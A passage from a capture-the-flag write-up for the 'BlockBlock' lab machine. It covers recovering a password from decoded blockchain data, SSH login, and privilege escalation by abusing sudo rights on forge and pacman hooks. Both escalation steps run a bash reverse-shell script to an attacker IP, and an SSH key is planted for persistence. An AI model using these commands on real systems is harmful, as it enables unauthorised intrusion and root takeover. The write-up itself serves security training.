Chat.Message[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTotalMessagesCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getUserMessage","outputs":[{"internalType":"string","name":"","type":"string"},{"internalType":"string","name":"","type":"string"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"}],"name":"getUserMessages","outputs":[{"components":[{"internalType":"string","name":"content","type":"string"},{"internalType":"string","name":"sender","type":"string"},{"internalType":"uint256","name":"timestamp","type":"uint256"}],"internalType":"struct Chat.Message[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"}],"name":"getUserMessagesCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"},{"internalType":"uint256","name":"start","type":"uint256"},{"internalType":"uint256","name":"end","type":"uint256"}],"name":"getUserMessagesRange","outputs":[{"components":[{"internalType":"string","name":"content","type":"string"},{"internalType":"string","name":"sender","type":"string"},{"internalType":"uint256","name":"timestamp","type":"uint256"}],"internalType":"struct Chat.Message[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"sender","type":"string"},{"internalType":"string","name":"content","type":"string"}],"name":"sendMessage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

We can then go to this page and pass the content of .abi files and Input field. We can see that it works, for example, passing the contents of Chat_sol_Chat.abi generated file and the previous Input value extracted from Firefox console:

BlockBlock 13

We can see the content of our last message with bot that was test by gunzf0x (our created user).

So we now need to get the Input data for other blocks until some of them show useful info. Eventually, 0x1 shows an interesting (and huge) Input message:

0x60a06040<SNIP>65000000000000

Pasting it to the decoder webpage returns the output:

{
  "method": null,
  "types": [
    "address"
  ],
  "inputs": [
    "0x0000000000000000000000000000000000000005"
  ],
  "names": [
    "_database"
  ]
}

Now, since eth_getBlockNumber gets a number (integer) in hexadecimal, we can get content of different blocks starting from block 0 (0x0 in hex), then block 1 (0x1) in hex and so on… Block 1 (or 0x1) returns something interesting. If, in our session with as Admin at Firefox we pass to the developer console the function:

fetch('http://10.10.11.43/api/json-rpc', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        "token": "cc8322fad39fdc6f0e2b99a0b4a6eac2acf69da0bd73afbd6a69c99f36e71a5f"
    },
        body: JSON.stringify({
        jsonrpc: "2.0",
        method: "eth_getBlockByNumber",
        params: ["0x1", true],
        id: 1
    })
})
.then(response => response.json())
.then(data => {
    console.log(data);
})
.catch(error => {
    console.error('Error:', error);
});

We get at Transaction tag, the Input response:

BlockBlock

If we copy and paste it into the decoder webpage it just shows a message almost identical as we have found previously:

BlockBlock 16

Does not show much.

However, since this content is hex encoded, we can try to see that content going to CyberChef webpage, and pass From Hex that content. At the very end we can see something interesting:

BlockBlock 17

We have the texts keira and SomedayBitCoinWillCollapse. We can remember from the Admin panel that keira already existed as another user.

We can check if this is a password for the user keira with NetExec through, for example, SSH:

❯ netexec ssh 10.10.11.43 -u 'keira' -p 'SomedayBitCoinWillCollapse'

SSH         10.10.11.43     22     10.10.11.43      [*] SSH-2.0-OpenSSH_9.7
SSH         10.10.11.43     22     10.10.11.43      [+] keira:SomedayBitCoinWillCollapse  Linux - Shell access!

It worked.

Use the decoded password to log in through SSH as keira user:

❯ sshpass -p 'SomedayBitCoinWillCollapse' ssh -o stricthostkeychecking=no keira@10.10.11.43
Warning: Permanently added '10.10.11.43' (ED25519) to the list of known hosts.
Last login: Mon Nov 18 16:50:13 2024 from 10.10.14.23

[keira@blockblock ~]$

We can grab the user flag.


Root Link to heading

Checking what can this user run with sudo shows that we can run a binary as paul user:

[keira@blockblock ~]$ sudo -l

User keira may run the following commands on blockblock:
    (paul : paul) NOPASSWD: /home/paul/.foundry/bin/forge

If we attempt to read or check what is this file we cannot read it:

[keira@blockblock ~]$ file /home/paul/.foundry/bin/forge

/home/paul/.foundry/bin/forge: cannot open `/home/paul/.foundry/bin/forge' (Permission denied)

[keira@blockblock ~]$ ls -ld /home/paul/.foundry/bin/forge
ls: cannot access '/home/paul/.foundry/bin/forge': Permission denied

[keira@blockblock ~]$ ls -la /home/paul/.foundry/
ls: cannot access '/home/paul/.foundry/': Permission denied

If we directly execute is as paul user with sudo we get:

[keira@blockblock ~]$ sudo -u paul /home/paul/.foundry/bin/forge

Build, test, fuzz, debug and deploy Solidity contracts

Usage: forge <COMMAND>

Commands:
  bind               Generate Rust bindings for smart contracts
  build              Build the project's smart contracts [aliases: b, compile]
  cache              Manage the Foundry cache
  clean              Remove the build artifacts and cache directories [aliases: cl]
  clone              Clone a contract from Etherscan
  completions        Generate shell completions script [aliases: com]
  config             Display the current config [aliases: co]
  coverage           Generate coverage reports
  create             Deploy a smart contract [aliases: c]
  debug              Debugs a single smart contract as a script [aliases: d]
  doc                Generate documentation for the project
  flatten            Flatten a source file and all of its imports into one file [aliases: f]
  fmt                Format Solidity source files
  geiger             Detects usage of unsafe cheat codes in a project and its dependencies
  generate           Generate scaffold files
  generate-fig-spec  Generate Fig autocompletion spec [aliases: fig]
  help               Print this message or the help of the given subcommand(s)
  init               Create a new Forge project
  inspect            Get specialized information about a smart contract [aliases: in]
  install            Install one or multiple dependencies [aliases: i]
  remappings         Get the automatically inferred remappings for the project [aliases: re]
  remove             Remove one or multiple dependencies [aliases: rm]
  script             Run a smart contract as a script, building transactions that can be sent onchain
  selectors          Function selector utilities [aliases: se]
  snapshot           Create a snapshot of each test's gas usage [aliases: s]
  test               Run the project's tests [aliases: t]
  tree               Display a tree visualization of the project's dependency graph [aliases: tr]
  update             Update one or multiple dependencies [aliases: u]
  verify-bytecode    Verify the deployed bytecode against its source [aliases: vb]
  verify-check       Check verification status on Etherscan [aliases: vc]
  verify-contract    Verify smart contracts on Etherscan [aliases: v]

Options:
  -h, --help     Print help
  -V, --version  Print version

Find more information in the book: http://book.getfoundry.sh/reference/forge/forge.html

Searching for forge command blockchain reaches the same page pointed out in the previous help message for forge.

Info
forge is a set of tools to build, test, fuzz, debug and deploy Solidity smart contracts.
It is a tool to work with contracts in blockchains.

Eventually, after looking some of documentation, we find a command for forge called init. In short, this command generates a script. We can inititate a new Forge project and then execute it using build command passing a malicious file through --use parameter.

[keira@blockblock ~]$ sudo -u paul /home/paul/.foundry/bin/forge init /dev/shm/exploit --no-git --offline

Initializing /dev/shm/exploit...
    Initialized forge project
    
[keira@blockblock ~]$ echo -e '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.16.2/9001 0>&1"' > /dev/shm/rev

[keira@blockblock ~]$ chmod +x /dev/shm/rev

Start a listener on netcat on port 9001 and execute it:

[keira@blockblock ~]$ sudo -u paul /home/paul/.foundry/bin/forge build --use /dev/shm/rev

We get a shell as paul user:

❯ nc -lvnp 9001

listening on [any] 9001 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.43] 52068
[paul@blockblock keira]$ whoami

whoami
paul

To gain access to this new user, create a new SSH key in our attacker machine. Create it:

❯ ssh-keygen -t ed25519

Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/gunzf0x/.ssh/id_ed25519): /home/gunzf0x/HTB/HTBMachines/Hard/BlockBlock/content/id_ed25519
Enter passphrase for "/home/gunzf0x/HTB/HTBMachines/Hard/BlockBlock/content/id_ed25519" (empty for no passphrase):
Enter same passphrase again:
<SNIP>

and paste the content of id_ed25519.pub from our attacker machine to /home/paul/.ssh/authorized_keys file:

[paul@blockblock ~]$ mkdir .ssh

[paul@blockblock ~]$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHiTrRFxut1pmazPHVSwexdp+tTpF56pEnXlvBG2+biI gunzf0x@kali' >> /home/paul/.ssh/authorized_keys

We can connect through SSH as paul using our generated key:

❯ ssh -i id_ed25519 paul@10.10.11.43

[paul@blockblock ~]$

This new user can run pacman with sudo as any user:

[paul@blockblock ~]$ sudo -l

User paul may run the following commands on blockblock:
    (ALL : ALL) NOPASSWD: /usr/bin/pacman
Info
The pacman package manager is one of the major distinguishing features of Arch Linux.

Searching how can we execute commands with pacman we find something called hooks. This post from Arch Linux forum shows how we can execute commands. We can open a text editor like Vim in the victim machine and create a hook:

[paul@blockblock ~]$ mkdir hooks

[paul@blockblock ~]$ cd /home/paul/hooks

Where we put the following content at /home/paul/hooks/rev.hooks:

[Trigger]
Operation = Install
Type = Package
Target = *

[Action]
Description = Revshell
When = PostTransaction
Exec = /dev/shm/rev

Here we are executing and “recycling” the exploit /dev/shm/rev that sent us a reverse shell as paul user.

Next, we need to create a custom package to call this hook. This file needs to be called PKGBUILD. We do this using Vim again:

[paul@blockblock hooks]$ vim PKGBUILD

with the content:

pkgname=revpkg
pkgver=1.0
pkgrel=1
arch=('any')
pkgdesc="Evil package"
license=('GPL')

Then, create a custom package using makepkg file along with -cf file (which will search for PKGBUILD file in the current directory):

[paul@blockblock hooks]$ makepkg -cf

==> Making package: revpkg 1.0-1 (Mon 10 Mar 2025 05:35:42 AM UTC)
==> Checking runtime dependencies...
==> Checking buildtime dependencies...
==> Retrieving sources...
==> Extracting sources...
==> Entering fakeroot environment...
==> Tidying install...
  -> Removing libtool files...
  -> Purging unwanted files...
  -> Removing static library files...
  -> Stripping unneeded symbols from binaries and libraries...
  -> Compressing man and info pages...
==> Checking for packaging issues...
==> Creating package "revpkg"...
  -> Generating .PKGINFO file...
  -> Generating .BUILDINFO file...
  -> Generating .MTREE file...
  -> Compressing package...
==> Leaving fakeroot environment.
==> Finished making: revpkg 1.0-1 (Mon 10 Mar 2025 05:35:44 AM UTC)
==> Cleaning up...

From the output we can see the package created is called revpkg 1.0-1.

Start a new netcat listener on port 9001.

Then, use pacman installing the custom package along with out custom hook:

[paul@blockblock hooks]$ sudo /usr/bin/pacman --hookdir /home/paul/hooks -U revpkg-1.0-1-any.pkg.tar.zst --noconfirm

loading packages...
resolving dependencies...
looking for conflicting packages...

Packages (1) revpkg-1.0-1


:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring                      [##########################] 100%
(1/1) checking package integrity                    [##########################] 100%
(1/1) loading package files                         [##########################] 100%
(1/1) checking for file conflicts                   [##########################] 100%
(1/1) checking available disk space                 [##########################] 100%
:: Processing package changes...
(1/1) installing revpkg                             [##########################] 100%
:: Running post-transaction hooks...
(1/1) Revshell

and in our netcat listener we get a connection as root:

❯ nc -lvnp 9001

listening on [any] 9001 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.43] 52530
[root@blockblock /]# whoami

whoami
root

GG. We can grab the flag at /root directory.

~Happy Hacking.